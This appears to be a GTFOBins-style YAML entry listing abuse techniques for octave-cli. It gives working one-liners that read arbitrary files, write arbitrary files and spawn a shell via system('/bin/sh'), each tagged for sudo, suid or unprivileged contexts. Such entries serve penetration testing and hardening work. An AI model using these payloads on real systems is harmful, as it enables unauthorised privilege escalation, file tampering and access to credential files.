Files

30 lines
672 B
Plaintext

---
comment: |-
The payloads are compatible with GUI mode.
functions:
file-read:
- binary: false
code: |-
octave-cli --eval 'format none; fid = fopen("/path/to/input-file"); while(!feof(fid)); txt = fgetl(fid); disp(txt); endwhile; fclose(fid);'
contexts:
sudo:
suid:
unprivileged:
file-write:
- binary: false
code: |-
octave-cli --eval 'fid = fopen("/path/to/output-file", "w"); fputs(fid, "DATA"); fclose(fid);'
contexts:
sudo:
suid:
unprivileged:
shell:
- code: |-
octave-cli --eval 'system("/bin/sh")'
contexts:
sudo:
suid:
shell: true
unprivileged:
...